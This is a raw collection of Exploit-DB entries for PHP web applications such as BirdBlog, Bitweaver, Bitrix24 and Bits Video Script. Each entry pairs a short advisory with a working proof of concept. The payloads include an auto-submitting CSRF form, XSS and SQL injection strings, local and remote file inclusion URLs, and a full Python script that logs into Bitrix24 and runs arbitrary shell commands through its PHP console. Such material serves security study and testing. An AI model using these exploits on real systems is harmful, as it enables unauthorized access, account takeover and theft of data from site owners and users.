deardaniel/secdata-raw huggingface dataset:
Exploit-DB #40495
Description: BirdBlog 1.4.0 - Cross-Site Request Forgery (Add New Post)
Type: webapps
Platform: php
Date: 2016-10-11
Author: Besim

Exploit:
<!--
# Exploit Title :              *BirdBlog 1.4.0* *- *Cross-Site Request Forgery  (*Add New Post*)
# Author :                      *Besim*
# Google Dork :                 -
# Date :                         11/10/2016
# Type :                         *webapps*
# Platform :                    *PHP*
# Software link: http://www.hotscripts.com/listings/jump/download/49011

*########################### CSRF PoC ###############################*
-->

<html>
  <!-- CSRF PoC -->
  <body>
    <form action="http://site_name/path/admin/entries.php?a=post" method="POST">
      <input type="hidden" name="title" value="Exploit&#45;DB" />
      <input type="hidden" name="category" value="1" />
      <input type="hidden" name="music" value="rockrock" />
      <input type="hidden" name="mood" value="rock" />
      <input type="hidden" name="moodicon" value="1" />
      <input type="hidden" name="entry" value="tester" />
      <input type="hidden" name="excerpt" value="tester" />
      <input type="hidden" name="password" value="" />
      <input type="hidden" name="parseurls" value="1" />
      <input type="hidden" name="parseemoticons" value="1" />
      <input type="hidden" name="parsebbcode" value="1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

<!--
*####################################################################*
-->
Exploit-DB #28667
Description: BirdBlog 1.x - 'comment.php?entryid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-25
Author: Root3r_H3ll

Exploit:
source: https://www.securityfocus.com/bid/20202/info

BirdBlog is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow an attacker to steal cookie-based authentication credentials and to launch other attacks.

BirdBlog 1.4.0 and prior versions are reported vulnerable.

http://www.example.com/[path]/comment.php?entryid=<Script>
Exploit-DB #28668
Description: BirdBlog 1.x - 'index.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-25
Author: Root3r_H3ll

Exploit:
source: https://www.securityfocus.com/bid/20202/info
 
BirdBlog is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow an attacker to steal cookie-based authentication credentials and to launch other attacks.
 
BirdBlog 1.4.0 and prior versions are reported vulnerable.

http://www.example.com/[path]/index.php?page=<Script>
Exploit-DB #28669
Description: BirdBlog 1.x - 'user.php?uid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-25
Author: Root3r_H3ll

Exploit:
source: https://www.securityfocus.com/bid/20202/info
  
BirdBlog is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow an attacker to steal cookie-based authentication credentials and to launch other attacks.
  
BirdBlog 1.4.0 and prior versions are reported vulnerable.

http://www.example.com/[path]/user.php?uid=<Script>
Exploit-DB #27239
Description: BirthSys 3.1 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-02-15
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16684/info

BirthSys is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

An attacker can exploit these issues to bypass the authentication mechanism and gain access as an arbitrary user.

http://www.example.com/show.php3?month=99%20union%20select%201,2,3,4,5/*
Exploit-DB #41559
Description: BistroStays 3.0 - 'guests' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: BistroStays - Vacation Rental Software v3.0 - SQL Injection
# Google Dork: N/A
# Date: 09.03.2017
# Vendor Homepage: https://www.ncrypted.net/
# Software: https://www.ncrypted.net/bistrostays
# Demo: http://demo.ncryptedprojects.com/bistrostays_v3/
# Version: 3.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search?guests=[SQL]
# Etc..
# # # # #
Exploit-DB #27085
Description: Bit 5 Blog 8.1 - 'addcomment.php' HTML Injection
Type: webapps
Platform: php
Date: 2006-01-16
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16246/info

Bit 5 Blog is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

The following proof of concept is available:
<a href=javascript:alert(123)>clickme</a>
Exploit-DB #27084
Description: Bit 5 Blog 8.1 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-01-16
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16244/info

Bit 5 Blog is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

The following proof of concept is available:
http://www.example.com/admin/index.php
User Name: a' or 1/*
Password: a' or 1/*
Exploit-DB #14166
Description: Bit Weaver 2.7 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-07-02
Author: John Leitch

Exploit:
------------------------------------------------------------------------
Software................Bit Weaver 2.7
Vulnerability...........Local File Inclusion
Download................http://www.bitweaver.org/
Release Date............7/1/2010
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................John Leitch
Site....................http://cross-site-scripting.blogspot.com/
Email...................john.leitch5@gmail.com
------------------------------------------------------------------------

--Description--

A local file inclusion vulnerability in Bit Weaver 2.7 can be
exploited to include arbitrary files.


--PoC--

http://server/wiki/rankings.php?style=../../../../../../../../windows/system.ini%00
Exploit-DB #23420
Description: Bitfolge Snif 1.2.6 - 'index.php' Path Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-12-09
Author: Justin Hagstrom

Exploit:
source: https://www.securityfocus.com/bid/9179/info

Bitfolge Snif is prone to a cross-site scripting vulnerability. As a result, hostile HTML and script code may be embedded in a malicious link to a site hosting the vulnerable software. If such a link is visited by a victim user, the attacker-supplied code may render in their web browser in the context of the site.

This issue was reported in version 1.2.6. Other versions are also likely affected. 

http://www.example.com/index.php?path=<script>alert(document.domain)</script>
Exploit-DB #32785
Description: Bitrix Site Manager 6/7 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2009-02-09
Author: aGGreSSor

Exploit:
source: https://www.securityfocus.com/bid/33689/info

Bitrix Site Manager is prone to multiple input-validation vulnerabilities:

- An authentication-bypass vulnerability
- A cross-site scripting vulnerability

An attacker may leverage these issues to gain unauthorized access to the affected application, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, and steal cookie-based authentication credentials. Other attacks are also possible. 

Login: &nbsp;
[CREDENTIAL_REDACTED]

http://www.example.com/bitrix/help/en/index.html?page=javascript:alert(%27XSS%27);
Exploit-DB #50898
Description: Bitrix24 - Remote Code Execution (RCE) (Authenticated)
Type: webapps
Platform: php
Date: 2022-05-11
Author: heinjame

Exploit:
# Exploit Title: Bitrix24 - Remote Code Execution (RCE) (Authenticated)
# Date: 4/22/2022
# Exploit Author: picaro_o
# Vendor Homepage: https://www.bitrix24.com/apps/desktop.php
# Tested on: Linux os

#/usr/bin/env python
#Created by heinjame


import requests
import re
from bs4 import BeautifulSoup
import argparse,sys

user_agent = {'User-agent': 'HeinJame'}

parser = argparse.ArgumentParser()
parser.add_argument("host", help="Betrix URL")
parser.add_argument("uname", help="Bitrix Username")
parser.add_argument("pass", help="Bitrix Password")
pargs = parser.parse_args()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]

inputcmd = input(">>")
s = requests.Session()
def login():
	
	postdata = {'AUTH_FORM':'Y','TYPE':'AUTH','backurl':'%2Fstream%2F','USER_LOGIN':username,'USER_PASSWORD':password}
	r = s.post(url+"/stream/?login=yes", headers = user_agent , data = postdata)
def getsessionid():
	sessionid = s.get(url+"bitrix/admin/php_command_line?lang=en",
headers = user_agent)
	session = re.search(r"'bitrix_sessid':.*", sessionid.text)
	extract = session.group(0).split(":")
	realdata = extract[1].strip(" ")
	realdata = realdata.replace("'","")
	realdata = realdata.replace(",","")
	return realdata
	# print(r.text)
def cmdline(cmd,sessionid):
	cmdline = {'query':"system('"+cmd+"');",'result_as_text':'n','ajax':'y'}
	usercmd = s.post(url+"bitrix/admin/php_command_line.php?lang=en&sessid="+sessionid,headers
= user_agent, data = cmdline)
	soup = BeautifulSoup(usercmd.content,'html.parser')
	cmd = soup.find('p').getText()
	print(cmd.rstrip())
login()
sessionid = getsessionid()
while inputcmd != "exit":
		cmdline(inputcmd,sessionid)
		inputcmd = input(">>")
Exploit-DB #34119
Description: Bits Video Script 2.04/2.05 - '/addvideo.php' Arbitrary File Upload / Arbitrary PHP Code Execution
Type: webapps
Platform: php
Date: 2010-01-18
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/40712/info

Bits Video Script is prone to multiple arbitrary-file-upload vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities to upload arbitrary code and run it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Bits Video Script 2.04 and 2.05 Gold Beta are vulnerable; other versions may also be affected. 

http://www.example.com/Video/addvideo.php
Exploit-DB #34120
Description: Bits Video Script 2.04/2.05 - '/register.php' Arbitrary File Upload / Arbitrary PHP Code Execution
Type: webapps
Platform: php
Date: 2010-01-18
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/40712/info
 
Bits Video Script is prone to multiple arbitrary-file-upload vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker can exploit these vulnerabilities to upload arbitrary code and run it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.
 
Bits Video Script 2.04 and 2.05 Gold Beta are vulnerable; other versions may also be affected. 

http://www.example.com/Video/register.php
Exploit-DB #34121
Description: Bits Video Script 2.04/2.05 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-18
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/40716/info

Bits Video Script is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Bits Video Script 2.04 and 2.05 Gold Beta are vulnerable; other versions may also be affected. 

http://www.example.com/Video/search.php?order=>'><ScRiPt%20%0a%0d>alert[PII_REDACTED]60)%3B</ScRiPt>
Exploit-DB #34117
Description: Bits Video Script 2.05 Gold Beta - 'showcase2search.php?rowptem[template]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-01-18
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/40709/info
 
Bits Video Script is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker can exploit these vulnerabilities to obtain potentially sensitive information or to execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
 
Bits Video Script 2.05 Gold Beta is vulnerable; other versions may also be affected. 

 http://www.example.com/Video/showcase2search.php?rowptem[template]=[EV!L]
Exploit-DB #34116
Description: Bits Video Script 2.05 Gold Beta - 'showcasesearch.php?rowptem[template]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-01-18
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/40709/info

Bits Video Script is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities to obtain potentially sensitive information or to execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

Bits Video Script 2.05 Gold Beta is vulnerable; other versions may also be affected. 

http://www.example.com/Video/showcasesearch.php?rowptem[template]=http://www.example.net/c.txt?
Exploit-DB #26907
Description: Bitweaver 1.1.1 - 'message_box.php?sort_mode' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15962/info
   
bitweaver is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.
   
bitweaver 1.1.1 beta and prior are vulnerable; other versions may also be affected. 

http://www.example.com/messages/message_box.php?sort_mode=[SQL]
Exploit-DB #26908
Description: Bitweaver 1.1.1 - 'my.php?sort_mode' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15962/info
    
bitweaver is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.
    
bitweaver 1.1.1 beta and prior are vulnerable; other versions may also be affected. 

http://www.example.com/users/my.php?sort_mode=[SQL]
Exploit-DB #26906
Description: Bitweaver 1.1.1 - 'view.php?blog_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15962/info
  
bitweaver is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.
  
bitweaver 1.1.1 beta and prior are vulnerable; other versions may also be affected. 

http://www.example.com/blogs/view.php?blog_id=[SQL]
Exploit-DB #26905
Description: Bitweaver 1.1.1 - 'view_post.php?post_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15962/info
 
bitweaver is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.
 
bitweaver 1.1.1 beta and prior are vulnerable; other versions may also be affected. 

http://www.example.com/blogs/view_post.php?post_id=[SQL]
Exploit-DB #26904
Description: Bitweaver 1.1.1 Beta - 'list_galleries.php?sort_mode' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15962/info

bitweaver is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.

bitweaver 1.1.1 beta and prior are vulnerable; other versions may also be affected. 

http://www.example.com/fisheye/list_galleries.php?sort_mode=[SQL]
Exploit-DB #27362
Description: Bitweaver 1.1/1.2 - 'Title' HTML Injection
Type: webapps
Platform: php
Date: 2006-03-06
Author: Kiki

Exploit:
source: https://www.securityfocus.com/bid/16973/info

The bitweaver application is prone to an HTML-injection vulnerability. The application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

This issue is reported to affect version 1.2.1; other versions may also be vulnerable.

http://www.exapmle.com/[patch]/read.php?article_id=7#editcomments
POST /articles/read.php?article_id=7 HTTP/1.1
Host: http://www.exapmle.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.12) Gecko/20050919 Firefox/1.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it,it-it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.exapmle.com/articles/read.php?article_id=7
Cookie: mod_usertrack=82.56.164.250.[PII_REDACTED]; BWSESSION=v5a6krvki42h0puv48dc5coki0; tz_offset=3600; tiki-user-bitweaver=616706c4d6f7bdf68b30893f860cbb2b
Content-Type: application/x-www-form-urlencoded
Content-Length: 265
tk=c67481b438f7be3da147&comments_maxComments=10&comments_style=threaded&comments_sort_mode=commentDate_desc&post_comment_reply_id=&post_comment_id=&comment_title=hacking&comment_data=[your_name_logged]&post_comment_submit=Post

but we can modify the request POST in this way:

tk=c67481b438f7be3da147&comments_maxComments=10&comments_style=threaded&comments_sort_mode=commentDate_desc&post_comment_reply_id=&post_comment_id=&comment_title=%3Cscript%3Ealert%28%22lol%22%29%3B%3C%2Fscript%3E&comment_data=[your_name_logged]&post_comment_submit=Post
Exploit-DB #29506
Description: Bitweaver 1.3.1 Articles and Blogs - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-01-22
Author: CorryL

Exploit:
source: https://www.securityfocus.com/bid/22169/info

Bitweaver is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect version 1.3.1; other versions may also be vulnerable. 

http://www.example.com/articles/edit.php/>"><ScRiPt>alert(907810260)%3B</ScRiPt> http://www.example.com/articles/list.php/>"><ScRiPt>alert(907810260)%3B</ScRiPt> http://www.example.com/blogs/list_blogs.php/>"><ScRiPt>alert(907810260)%3B</ScRiPt> http://www.example.com/blogs/rankings.php/>"><ScRiPt>alert(907810260)%3B</ScRiPt>
Exploit-DB #28953
Description: Bitweaver 1.x - '/blogs/list_blogs.php?sort_mode' SQL Injection
Type: webapps
Platform: php
Date: 2006-11-10
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/20996/info

Bitweaver is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Bitweaver 1.3.1 and prior versions are vulnerable; other versions may also be affected. 

Since this issue is a duplicate of the the issue described in BID 20988 (Bitweaver Multiple Input Validation Vulnerabilities), this BID is being retired.

http://www.example.com/bitweaver/blogs/list_blogs.php?sort_mode=-98